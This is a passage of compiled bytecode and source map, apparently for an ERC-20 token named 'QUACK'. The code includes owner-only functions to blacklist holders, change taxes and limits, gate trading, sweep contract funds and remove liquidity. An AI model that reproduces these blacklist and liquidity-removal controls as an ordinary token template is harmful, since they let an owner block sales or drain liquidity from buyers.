60405180910390a38080610fa190613a6a565b915050610e5e565b505050565b610fb6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a906139ec565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60004790506110ac816129dd565b50565b6110b7612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111ed5761118061172e565b73ffffffffffffffffffffffffffffffffffffffff16476040516111a390613b3d565b60006040518083038185875af1925050503d80600081146111e0576040519150601f19603f3d011682016040523d82523d6000602084013e6111e5565b606091505b505050611378565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161122d9190613821565b602060405180830381865afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190613b67565b90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b81526004016112ab929190613b94565b6020604051808303816000875af11580156112ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ee9190613bd2565b508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61131361172e565b836040518363ffffffff1660e01b8152600401611331929190613b94565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190613bd2565b5050505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611459576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611450906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61151f612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906139ec565b60405180910390fd5b80600b8190555050565b6115be612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461164b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611642906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116943061137b565b60008061169f61172e565b426040518863ffffffff1660e01b81526004016116c196959493929190613c44565b60606040518083038185885af11580156116df573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117049190613ca5565b5050506001601260166101000a81548160ff021916908315150217905550565b6000600f54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f515541434b000000000000000000000000000000000000000000000000000000815250905090565b61179c612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611829576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611820906139ec565b60405180910390fd5b601260149054906101000a900460ff1615611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090613d44565b60405180910390fd5b6118a830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611915573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119399190613d79565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e69190613d79565b6040518363ffffffff1660e01b8152600401611a03929190613da6565b6020604051808303816000875af1158015611a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a469190613d79565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b25929190613b94565b6020604051808303816000875af1158015611b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b689190613bd2565b50565b6000611b7f611b78612154565b8484612325565b6001905092915050565b600080611b94612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c18906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663baa2abde8a8a8a8a8a8a8a6040518863ffffffff1660e01b8152600401611c889796959493929190613dcf565b60408051808303816000875af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cca9190613e3e565b9150915097509795505050505050565b611ce2612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d66906139ec565b60405180910390fd5b600f548111611d7d57600080fd5b80600f8190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000601260159054906101000a900460ff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e4d612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed1906139ec565b60405180910390fd5b8060078190555050565b611eec612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f70906139ec565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611fdc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612069576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612060906139ec565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b6000601054905090565b60008083036120a25760009050612104565b600082846120b09190613ab2565b90508284826120bf9190613ead565b146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f690613f50565b60405180910390fd5b809150505b92915050565b600061214c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a49565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361223a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223190614074565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516123189190613605565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238b90614106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fa90614198565b60405180910390fd5b60008111612446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243d9061422a565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124ea5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252090614296565b60405180910390fd5b61253161172e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561259f575061256f61172e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156128b957601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561264f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126a55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561279757600f548111156126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e690614302565b60405180910390fd5b601260149054906101000a900460ff1661273e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127359061436e565b60405180910390fd5b6010548161274b8461137b565b612755919061438e565b1115612796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278d90614430565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127ff576127f4612aac565b60088190555061280e565b612807612ac3565b6008819055505b60006128193061137b565b9050601260159054906101000a900460ff161580156128865750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561289e5750601260169054906101000a900460ff165b156128b75760075481106128b6576128b581612ada565b5b5b505b612974838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129605750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61296c5760085461296f565b60005b612c07565b505050565b60008383111582906129c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b8919061355e565b60405180910390fd5b50600083856129d09190614450565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612a45573d6000803e3d6000fd5b5050565b60008083118290612a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a87919061355e565b60405180910390fd5b5060008385612a9f9190613ead565b9050809150509392505050565b6000600954600b54612abe919061438e565b905090565b6000600a54600b54612ad5919061438e565b905090565b6001601260156101000a81548160ff0219169083151502179055506000612b1f6064612b11600c548561209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612b368284612e7490919063ffffffff16565b90506000612b4e60028461210a90919063ffffffff16565b90506000612b658285612e7490919063ffffffff16565b90506000479050612b7583612ebe565b6000612b8a8247612e7490919063ffffffff16565b9050612b968184613101565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051612bc993929190614484565b60405180910390a1612bda85612ebe565b612be3856129dd565b5050505050506000601260156101000a81548160ff02191690831515021790555050565b6000612c2f6064612c21848661209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612c468285612e7490919063ffffffff16565b9050612c9a84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2f81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc482600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e649190613605565b60405180910390a3505050505050565b6000612eb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612979565b905092915050565b6000600267ffffffffffffffff811115612edb57612eda613289565b5b604051908082528060200260200182016040528015612f095781602001602082028036833780820191505090505b5090503081600081518110612f2157612f20613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fec9190613d79565b8160018151811061300057612fff613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061306730601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130cb959493929190614579565b600060405180830381600087803b1580156130e557600080fd5b505af11580156130f9573d6000803e3d6000fd5b505050505050565b61312e30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308460008061317a61172e565b426040518863ffffffff1660e01b815260040161319c96959493929190613c44565b60606040518083038185885af11580156131ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131df9190613ca5565b5050506001601260166101000a81548160ff0219169083151502179055505050565b6000808284613210919061438e565b905083811015613255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324c9061461f565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6132c182613278565b810181811067ffffffffffffffff821117156132e0576132df613289565b5b80604052505050565b60006132f361325f565b90506132ff82826132b8565b919050565b600067ffffffffffffffff82111561331f5761331e613289565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061336082613335565b9050919050565b61337081613355565b811461337b57600080fd5b50565b60008135905061338d81613367565b92915050565b60006133a66133a184613304565b6132e9565b905080838252602082019050602084028301858111156133c9576133c8613330565b5b835b818110156133f257806133de888261337e565b8452602084019350506020810190506133cb565b5050509392505050565b600082601f83011261341157613410613273565b5b8135613421848260208601613393565b91505092915050565b6000602082840312156134405761343f613269565b5b600082013567ffffffffffffffff81111561345e5761345d61326e565b5b61346a848285016133fc565b91505092915050565b6000819050919050565b61348681613473565b811461349157600080fd5b50565b6000813590506134a38161347d565b92915050565b6000602082840312156134bf576134be613269565b5b60006134cd84828501613494565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135105780820151818401526020810190506134f5565b8381111561351f576000848401525b50505050565b6000613530826134d6565b61353a81856134e1565b935061354a8185602086016134f2565b61355381613278565b840191505092915050565b600060208201905081810360008301526135788184613525565b905092915050565b6000806040838503121561359757613596613269565b5b60006135a58582860161337e565b92505060206135b685828601613494565b9150509250929050565b60008115159050919050565b6135d5816135c0565b82525050565b60006020820190506135f060008301846135cc565b92915050565b6135ff81613473565b82525050565b600060208201905061361a60008301846135f6565b92915050565b60008060006060848603121561363957613638613269565b5b60006136478682870161337e565b93505060206136588682870161337e565b925050604061366986828701613494565b9150509250925092565b600060ff82169050919050565b61368981613673565b82525050565b60006020820190506136a46000830184613680565b92915050565b6000602082840312156136c0576136bf613269565b5b60006136ce8482850161337e565b91505092915050565b600067ffffffffffffffff8211156136f2576136f1613289565b5b602082029050602081019050919050565b6000613716613711846136d7565b6132e9565b9050808382526020820190506020840283018581111561373957613738613330565b5b835b81811015613762578061374e8882613494565b84526020840193505060208101905061373b565b5050509392505050565b600082601f83011261378157613780613273565b5b8135613791848260208601613703565b91505092915050565b600080604083850312156137b1576137b0613269565b5b600083013567ffffffffffffffff8111156137cf576137ce61326e565b5b6137db858286016133fc565b925050602083013567ffffffffffffffff8111156137fc576137fb61326e565b5b6138088582860161376c565b9150509250929050565b61381b81613355565b82525050565b60006020820190506138366000830184613812565b92915050565b600080600080600080600060e0888a03121561385b5761385a613269565b5b60006138698a828b0161337e565b975050602061387a8a828b0161337e565b965050604061388b8a828b01613494565b955050606061389c8a828b01613494565b94505060806138ad8a828b01613494565b93505060a06138be8a828b0161337e565b92505060c06138cf8a828b01613494565b91505092959891949750929550565b60006040820190506138f360008301856135f6565b61390060208301846135f6565b9392505050565b6000806040838503121561391e5761391d613269565b5b600061392c8582860161337e565b925050602061393d8582860161337e565b9150509250929050565b613950816135c0565b811461395b57600080fd5b50565b60008135905061396d81613947565b92915050565b60006020828403121561398957613988613269565b5b60006139978482850161395e565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139d66020836134e1565b91506139e1826139a0565b602082019050919050565b60006020820190508181036000830152613a05816139c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613a7582613473565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613aa757613aa6613a3b565b5b600182019050919050565b6000613abd82613473565b9150613ac883613473565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b0157613b00613a3b565b5b828202905092915050565b600081905092915050565b50565b6000613b27600083613b0c565b9150613b3282613b17565b600082019050919050565b6000613b4882613b1a565b9150819050919050565b600081519050613b618161347d565b92915050565b600060208284031215613b7d57613b7c613269565b5b6000613b8b84828501613b52565b91505092915050565b6000604082019050613ba96000830185613812565b613bb660208301846135f6565b9392505050565b600081519050613bcc81613947565b92915050565b600060208284031215613be857613be7613269565b5b6000613bf684828501613bbd565b91505092915050565b6000819050919050565b6000819050919050565b6000613c2e613c29613c2484613bff565b613c09565b613473565b9050919050565b613c3e81613c13565b82525050565b600060c082019050613c596000830189613812565b613c6660208301886135f6565b613c736040830187613c35565b613c806060830186613c35565b613c8d6080830185613812565b613c9a60a08301846135f6565b979650505050505050565b600080600060608486031215613cbe57613cbd613269565b5b6000613ccc86828701613b52565b9350506020613cdd86828701613b52565b9250506040613cee86828701613b52565b9150509250925092565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613d2e6017836134e1565b9150613d3982613cf8565b602082019050919050565b60006020820190508181036000830152613d5d81613d21565b9050919050565b600081519050613d7381613367565b92915050565b600060208284031215613d8f57613d8e613269565b5b6000613d9d84828501613d64565b91505092915050565b6000604082019050613dbb6000830185613812565b613dc86020830184613812565b9392505050565b600060e082019050613de4600083018a613812565b613df16020830189613812565b613dfe60408301886135f6565b613e0b60608301876135f6565b613e1860808301866135f6565b613e2560a0830185613812565b613e3260c08301846135f6565b98975050505050505050565b60008060408385031215613e5557613e54613269565b5b6000613e6385828601613b52565b9250506020613e7485828601613b52565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613eb882613473565b9150613ec383613473565b925082613ed357613ed2613e7e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f3a6021836134e1565b9150613f4582613ede565b604082019050919050565b60006020820190508181036000830152613f6981613f2d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613fcc6024836134e1565b9150613fd782613f70565b604082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061405e6022836134e1565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140f06025836134e1565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006141826023836134e1565b915061418d82614126565b604082019050919050565b600060208201905081810360008301526141b181614175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006142146029836134e1565b915061421f826141b8565b604082019050919050565b6000602082019050818103600083015261424381614207565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000614280601b836134e1565b915061428b8261424a565b602082019050919050565b600060208201905081810360008301526142af81614273565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b60006142ec601a836134e1565b91506142f7826142b6565b602082019050919050565b6000602082019050818103600083015261431b816142df565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b60006143586013836134e1565b915061436382614322565b602082019050919050565b600060208201905081810360008301526143878161434b565b9050919050565b600061439982613473565b91506143a483613473565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143d9576143d8613a3b565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b600061441a601c836134e1565b9150614425826143e4565b602082019050919050565b600060208201905081810360008301526144498161440d565b9050919050565b600061445b82613473565b915061446683613473565b92508282101561447957614478613a3b565b5b828203905092915050565b600060608201905061449960008301866135f6565b6144a660208301856135f6565b6144b360408301846135f6565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6144f081613355565b82525050565b600061450283836144e7565b60208301905092915050565b6000602082019050919050565b6000614526826144bb565b61453081856144c6565b935061453b836144d7565b8060005b8381101561456c57815161455388826144f6565b975061455e8361450e565b92505060018101905061453f565b5085935050505092915050565b600060a08201905061458e60008301886135f6565b61459b6020830187613c35565b81810360408301526145ad818661451b565b90506145bc6060830185613812565b6145c960808301846135f6565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614609601b836134e1565b9150614614826145d3565b602082019050919050565b60006020820190508181036000830152614638816145fc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f88069113ef50d8e55fe348354e86dcf066d7e1522a767d2b76a5be375e50d264736f6c634300080d0033
Deployed Bytecode Sourcemap
3344:10358:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13030:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6068:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5488:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7056:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5729:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6174:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7207:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5650:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5393:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6293:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5823:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12879:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13386:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13163:84;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13252:126;;;;;;;;;;;;;:::i;:::-;;11942:392;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6646:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3200:133;;;;;;;;;;;;;:::i;:::-;;6410:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10923:311;;;:::i;:::-;;5134:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3016:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5567:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10612:306;;;;;;;;;;;;;:::i;:::-;;6760:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11632:302;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;10033:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3599:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5305:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6917:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6515:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5946:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12339:84;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5220:77;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13030:130;3135:12;:10;:12::i;:::-;3125:22;;:6;;;;;;;;;;:22;;;3117:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13097:9:::1;13092:67;13116:5;:12;13112:1;:16;13092:67;;;13153:4;13136;:14;13141:5;13147:1;13141:8;;;;;;;;:::i;:::-;;;;;;;;13136:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;13130:3;;;;;:::i;:::-;;;;13092:67;;;;13030:130:::0;:::o;6068:98::-;3135:12;:10;:12::i;:::-;3125:22;;:6;;;;;;;;;;:22;;;3117:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6152:6:::1;6142:7;:16;;;;6068:98:::0;:::o;5488:74::-;5525:13;5552:5;;;;;;;;;;;;;;;;;5545:12;;5488:74;:::o;7056:146::-;7131:4;7142:39;7151:12;:10;:12::i;:::-;7165:7;7174:6;7142:8;:39::i;:::-;7193:4;7186:11;;7056:146;;;;:::o;5729:86::-;5782:7;5803;;5796:14;;5729:86;:::o;6174:111::-;3135:12;:10;:12::i;:::-;3125:22;;:6;;;;;;;;;;:22;;;3117:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6271:6: